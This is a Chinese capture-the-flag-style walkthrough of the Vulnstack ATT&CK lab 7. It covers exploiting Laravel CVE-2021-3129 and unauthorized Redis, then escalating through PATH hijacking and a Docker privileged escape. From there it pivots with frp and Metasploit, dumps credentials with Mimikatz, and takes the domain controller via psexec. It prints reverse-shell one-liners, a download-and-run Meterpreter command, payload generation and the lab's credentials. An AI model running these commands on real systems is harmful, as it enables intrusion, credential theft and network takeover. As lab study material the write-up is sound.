ATK&CK红队评估实战靶场(七)

前言

靶机详细信息

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
域用户账户和密码
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:
web:web2021

Ubuntu 2:
ubuntu:ubuntu

通达OA账户:
admin:admin657260

环境搭建

拓扑图

image-20230103153741302

首先,创建一张VMnet1的网卡,将网段设置为192.168.1.0,用于模拟外网环境,同时将外网靶机Ubuntu(web1)kali 应用该网卡。

image-20230103160931708

然后再按照以下文档来配置

环境配置

在Vmware中新增两个虚拟网卡VMnet8VMnet14VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24VMnet14设为仅主机模式,IP段设为192.168.93.0/24

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

  • 给Ubuntu (Web 1) 配置了两个网卡,一个配置VMnet1可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:

  • 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

  • 给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。

  • 服务配置

    靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:

    DMZ区的 Ubuntu 需要启动redis和nginx服务:

    • sudo redis-server /etc/redis.conf
    • sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
    • sudo iptables -F

    第二层网络的 Ubuntu需要启动docker容器:

    • sudo service docker start
    • sudo docker start 8e172820ac78

    第三层网络的 Windows 7 (PC 1)需要启动通达OA:

    • C:\MYOA\bin\AutoConfig.exe

攻入内网:web1

kali的IP:192.168.1.6

主机发现

1
nmap -sn 192.168.1.1/24
image-20230103161332196

得到第一层靶机的IP192.168.1.5

端口扫描

1
sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.1.5
image-20230103163617836

开放了2280816379端口

访问80

image-20230103163700281

访问 81

image-20230103164351756

可从页面中得到 站点的指纹 Laravel v8.29.0

通过搜索引擎,可以得知,该版本存在CVE-2021-3129

漏洞利用:CVE-2021-3129 phar反序列化

首先下载 CVE-2021-3129利用工具

1
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

然后执行

1
python3 .\laravel-CVE-2021-3129-EXP.py 'http://192.168.1.5:81'
image-20230104101728593

注意 url参数后面不能跟/,否则会没有返回结果 。

利用脚本已经成功写入了哥斯拉的木马,但是这里用3.0以上的版本去连接会失败,我用的是2.96

image-20230104101951452

连接成功,方便后续使用。

Redis未授权漏洞

发现目标主机开启了6379端口,尝试使用redis-cli进行连接

1
redis-cli -h 192.168.1.5
image-20230103171135773

无需密码,直接连接成功,存在redis未授权漏洞

尝试通过 redisssh 公钥,然后使用私钥去连接。

redis 写入 ssh 公钥 getshell

首先在kali中生成公钥

1
ssh-keygen -t rsa
image-20230103171614555

将公钥导入1.txt 文件中

1
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt

将1.txt 文件内容写入目标主机的redis缓冲中

1
cat 1.txt | redis-cli -h 192.168.1.5 -p 6379 -x set 1
image-20230104103330136

在redis中操作

1
2
3
4
5
redis-cli -h 192.168.1.5
get 1
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
image-20230104103506527

ssh连接

1
ssh -i /home/kali/.ssh/id_rsa root@192.168.1.5
image-20230104103615191

成功连接上,并且拿到了靶机root权限。

主机信息收集

1
ifconfig
image-20230104103821259

发现内网网段192.168.52.0

查看系统版本

1
uname -a
image-20230104143908196

上传64位fscan扫描内网

使用 scp

1
scp -i /home/kali/.ssh/id_rsa /home/kali/Desktop/fscan/fscan_amd64 root@192.168.1.5:/tmp
image-20230104144215379
1
./fscan_amd64 -h 192.168.52.1/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(icmp) Target 192.168.52.10   is alive
(icmp) Target 192.168.52.2 is alive
(icmp) Target 192.168.52.20 is alive
(icmp) Target 192.168.52.30 is alive
[*] Icmp alive hosts len is: 4
192.168.52.10:22 open
192.168.52.20:8000 open
192.168.52.30:8080 open
192.168.52.10:6379 open
192.168.52.30:139 open
192.168.52.30:445 open
192.168.52.20:22 open
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle: http://192.168.52.10 code:502 len:584 title:502 Bad Gateway
[+] Redis:192.168.52.10:6379 unauthorized file:/home/web/dump.rdb
[+] Redis:192.168.52.10:6379 like can write /root/.ssh/
[+] Redis:192.168.52.10:6379 like can write /var/spool/cron/
[*] NetBios: 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.52.10:81 code:200 len:17474 title:Laravel
[*] WebTitle: http://192.168.52.20:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.52.20:8000 [Laravel]
[+] InfoScan:http://192.168.52.10:81 [Laravel]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.52.20:8000 poc-yaml-laravel-cve-2021-3129
[+] http://192.168.52.10:81 poc-yaml-laravel-cve-2021-3129

通过扫描结果可以知道存活了四个ip,其中192.168.52.2为网关,192.168.52.10为当前靶机,另一台靶机192.168.52.20,并且开放了800022端口,通过查看当前靶机的nginx配置,可发现,当前靶机开放的81端口就是192.168.52.208000端口,通过nginx反向代理到了当前靶机。

还有一台为192.168.52.30,开放了8080139135445端口,操作系统为windows7,并且存在MS17-010tongda-oa-v11.9-api.ali.php-fileupload的漏洞。

1
cat /etc/nginx/conf.d/81.conf
image-20230104145052629

在前面,我们已经通过CVE-2021-3129漏洞拿到192.168.52.20webshell权限。

接下来,通过该webshell继续向内网渗透。

二层内网渗透:web2

方便后续操作,首先在哥斯拉中执行反弹shell命令,将shell反弹到Kali中

kali监听

1
nc -lvnp 4444
image-20230104150134633

哥斯拉中执行

1
bash -c 'exec bash -i &>/dev/tcp/192.168.1.6/4444 <&1'
image-20230104150154153

得到

image-20230104150211977

提权

查看系统版本

1
uname -a
image-20230104151532454

Linux内核版本Linux version 4.4.0-142-generic,脏牛提权漏洞存在于Linux内核 >= 2.6.22,当前靶机不存在脏牛提权漏洞。

接下来

尝试查看具有suid特殊权限的文件来进行提权

1
find / -perm -u=s -type f 2>/dev/null
image-20230104151958874

发现一个可疑文件 shell

image-20230104152211183

执行shell,发现其实就是以root用户调用了ps命令。

提权思路,如果我们构造一个可以反弹shell的ps文件,然后再改变$PATH环境变量,让shell执行我们构造的ps,不就可以拿到root权限了嘛。

环境变量劫持提权

首先创建一个可以反弹shell的ps文件,因为我们通过redisssh公钥,已经拿到了Ubuntu靶机的权限,并且Ubuntu靶机与当前正在攻击的靶机在同以网段,所直接将shell反弹到Ubuntu靶机上。

/tmp目录下执行

1
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/4444 <&1'" > ps
image-20230104153305603

赋予可执行权限

1
chmod 777 ps

查看环境变量

1
echo $PATH
image-20230104153444270

tmp目录添加到环境变量中

1
export PATH=/tmp:$PATH
image-20230104153543135

Ubuntu靶机中进行监听

1
nc -lnvp 4444
image-20230104153648234

回到当前靶机中执行

1
./shell
image-20230104153752035

左边是监听,右边执行,成功提权到root。

Docker特权逃逸

发现好多命令根本无法执行,查看是不是在docker

1
2
ls -alh /.dockerenv
cat /proc/1/cgroup
image-20230104154147193

发现存在于Docker环境中

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

利用方式

创建一个目录用于挂载

1
mkdir /tmp/test

挂载

1
mount /dev/sda1 /tmp/test
image-20230104154603402

成功

ssh密钥写入

首先生成密钥

1
ssh-keygen -f rsa
image-20230104155124325

接下来

Ubuntu1使用python 开启 http服务监听

1
python3 -m http.server

ubuntu2

先进入到/tmp/test/home/ubuntu/.ssh目录下,然后使用curl下载rsa.pub公钥

1
2
cd /tmp/test/home/ubuntu/.ssh
curl -O http://192.168.52.10:8000/rsa.pub
image-20230104155855608

rsa.pub重命名为authorized_keys

1
mv rsa.pub authorized_keys

然后回到Ubuntu1中,在刚刚生成的rsa目录下连接

1
ssh -i rsa ubuntu@192.168.52.20
image-20230104160254299

成功连接。

权限维持

到目前为止,已经成功拿下web1web2两台靶机了,接下来使用MSF对两台靶机进行权限维持,方便后续渗透内网。

上线web1靶机

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 6789
exploit
image-20230104162758455

得到一条命令

1
wget -qO pwkzg9Z9 --no-check-certificate http://192.168.1.6:8080/79LajMacnMhyY5R; chmod +x pwkzg9Z9; ./pwkzg9Z9& disown

将该命令放在web1shell中执行

image-20230104162912949

成功上线web1靶机

image-20230104162942292

添加路由

1
route add 192.168.52.0 255.255.255.0 1
image-20230104170555322

上线web2靶机

生成Linux 反弹shell

1
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988

将 shell9988 上传至 web1靶机中

1
upload /home/kali/shell9988 /tmp
image-20230104171022798

MSF开启监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 9988
exploit

然后将生成的木马上传至web2中执行

tmp目录下用python开启http监听

1
python3 -m http.server

web2中下载shell9988并执行

image-20230104174432247

MSF中成功上线

二层内网渗透:pc1

1
2
3
4
5
[*] NetBios: 192.168.52.30   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1 
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload

在通过fscan对内网网段192.168.52.0进行扫描的时候,还发现一台IP地址为192.168.52.30的windows主机,并且存在永恒之蓝和通达的文件上传漏洞,MSF已经添加了路由,所以我们在Kali上的请求能够到达192.168.52.0网段,接下来尝试通过该漏洞拿到权限。

永恒之蓝漏洞利用(失败)

1
2
3
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.30
set payload windows/x64/meterpreter/bind_tcp
image-20230105095821097

但是靶机蓝屏了(尝试多次依旧如此)

image-20230105100034852

换一种方式。

通达 api.ali.php-fileupload 漏洞利用

我们最开始在MSF上开起了socks5代理服务,这里直接在物理机上挂代理,然后访问8080端口

image-20230105100649063

访问 192.168.52.30:8080

image-20230105100725232

通过扫描得知存在 tongda-oa-v11.9-api.ali.php-fileupload漏洞

接下来使用LiqunKit_1.5 设置代理直接对漏洞进行利用

image-20230105144156163
image-20230105142358209

使用蚁剑连接(需要配置代理)

image-20230105142528573
image-20230105142643505

拿到的直接就是system权限

权限维持

接下来将该靶机上线到MSF中

首先创建shell

1
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe

MSF开启监听

1
2
3
4
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.30
set LPORT 8899

将shell上传到靶机中

image-20230105145611779

在命令终端上执行

image-20230105145651106

MSF收到shell

image-20230105145711079

主机信息收集

查看网卡信息
1
ipconfig /all

发现得到域名whoamianony.ory

image-20230105150009157

发现内网网段 192.168.93.0,当前靶机ip为192.168.93.20

image-20230105150158891
查看域内所有用户列表

收集域信息 需要把进程迁移到域用户执行的进程中

1
net group /domain
image-20230105151803794
查看域成员计算机列表
1
net group "Domain Computers" /domain
image-20230105152131192
查看所有域用户
1
net group "Domain Users" /domain
image-20230105152117178
查看域管理员用户
1
net group "domain admins" /domain
image-20230105152236134
收集用户登录口令
1
2
load kiwi
creds_all
image-20230105153600837
image-20230105153620661

得到

1
2
3
4
5
6
7
8
9
用户:bunny
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Bunny2021

用户:Administrator
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Whoami2021

内网信息收集

直接上传fscan

1
upload /home/kali/Desktop/fscan/fscan64.exe c:/
image-20230105154021433

开扫

1
fscan64.exe -h 192.168.93.1/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(icmp) Target 192.168.93.10   is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.40 is alive
[*] Icmp alive hosts len is: 4
192.168.93.40:139 open
192.168.93.30:139 open
192.168.93.10:8000 open
192.168.93.20:8080 open
192.168.93.40:445 open
192.168.93.30:445 open
192.168.93.20:445 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.30:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.30:88 open
[*] alive ports len is: 14
start vulscan
[+] 192.168.93.20 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065 title:通达OA网络智能办公系统
[*] NetInfo:
[*]192.168.93.30
[->]DC
[->]192.168.93.30
[+] 192.168.93.40 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] InfoScan:http://192.168.93.20:8080 [通达OA]
[*] NetBios: 192.168.93.30 [+]DC DC.whoamianony.org Windows Server 2012 R2 Datacenter 9600
[+] 192.168.93.30 MS17-010 (Windows Server 2012 R2 Datacenter 9600)
[*] NetBios: 192.168.93.40 PC2.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] http://192.168.93.20:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.93.10:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.93.10:8000 [Laravel]
[+] http://192.168.93.20:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.93.10:8000 poc-yaml-laravel-cve-2021-3129

通过fscan扫描结果可以知道,内网存活四台靶机,且192.168.93.10192.168.93.20 都已经被攻陷,192.168.93.30为域控,存在MS17-010漏洞,操作系统为Windows Server 2012 R2,域成员服务器192.168.93.40,也存在MS17-010漏洞,操作系统为Windows 7 Professional 7601 Service Pack 1

三层内网渗透准备

我们已经拿下了二层网络的所有靶机,接下来,我们需要在二层的基础上拿下三层的所有靶机,通过上传fscan扫描出三层靶机都存在永恒之蓝漏洞,可以使用MSF自带的添加路由功能来使MSF的数据包能达到192.168.93.0网段,但是利用过程中,极其不稳定很不容易上线,所以,这里通过frp工具来实现一个二层代理。

首先在kali中配置 frps.ini

1
2
[common]
bind_port = 7455
image-20230105164633110

web1靶机中 分别配置 frpc.inifrps.ini

frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = 192.168.1.7
server_port = 7455

[http_proxy]
type = tcp
local_ip = 192.168.52.10
local_port = 46075
remote_port = 46075

frps.ini

1
2
3
[common]
Bind_addr = 192.168.52.10
bind_port = 7455
image-20230105164723200

web2靶机 配置 frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.52.10
server_port = 7455

[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
image-20230105164742972

最后代理地址

1
socks5:192.168.1.7:46075

通过 proxychains4+nmap扫描 192.168.93.30445端口,看是否成功

1
proxychains4 nmap -p 445 192.168.93.30
image-20230105164952287

成功

三层内网渗透:pc2

永恒之蓝漏洞利用

接下来,另起一个MSF

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.30
setg proxies socks5:192.168.1.7:46075
image-20230105165613204

拿下

信息收集

1
2
load kiwi
creds_all
image-20230105165846143

抓取到了域用户moretz的密码

1
moretz:Moretz2021

三层内网渗透:域控服务器

永恒之蓝漏洞利用(失败)

尝试进行永恒之蓝漏洞利用

image-20230105170353621

利用失败了,猜测应该因为开启了防火墙。

在之前,我们收集到了域管理员用户的账号密码administrator:Whoami2021

接下来,通过wmiexec.py 执行命令来关闭防火墙

1
2
proxychains4 python3 wmiexec.py "administrator:Whoami2021@192.168.93.30"
netsh advfirewall set allprofiles state off
image-20230105171109824

这里虽然有报错,但是已经是成功关闭了的。

再次尝试利用

image-20230105171722202

还是无法利用,经过多次尝试,会导致域控服务器重启。

利用psexec传递拿下DC

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbpass Whoami2021
set smbuser Administrator
set payload windows/meterpreter/bind_tcp
exploit
image-20230105175801866

成功拿下域控

最后,所有靶机的 sessions

image-20230105180021334
image-20230105180037339

相关知识点

Linux 反弹shell 命令

1
bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'

用python获得一个交互式shell

1
2
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

参考文章

https://www.cnblogs.com/chen-w/p/16194101.html

https://blog.csdn.net/weixin_62334252/article/details/125384701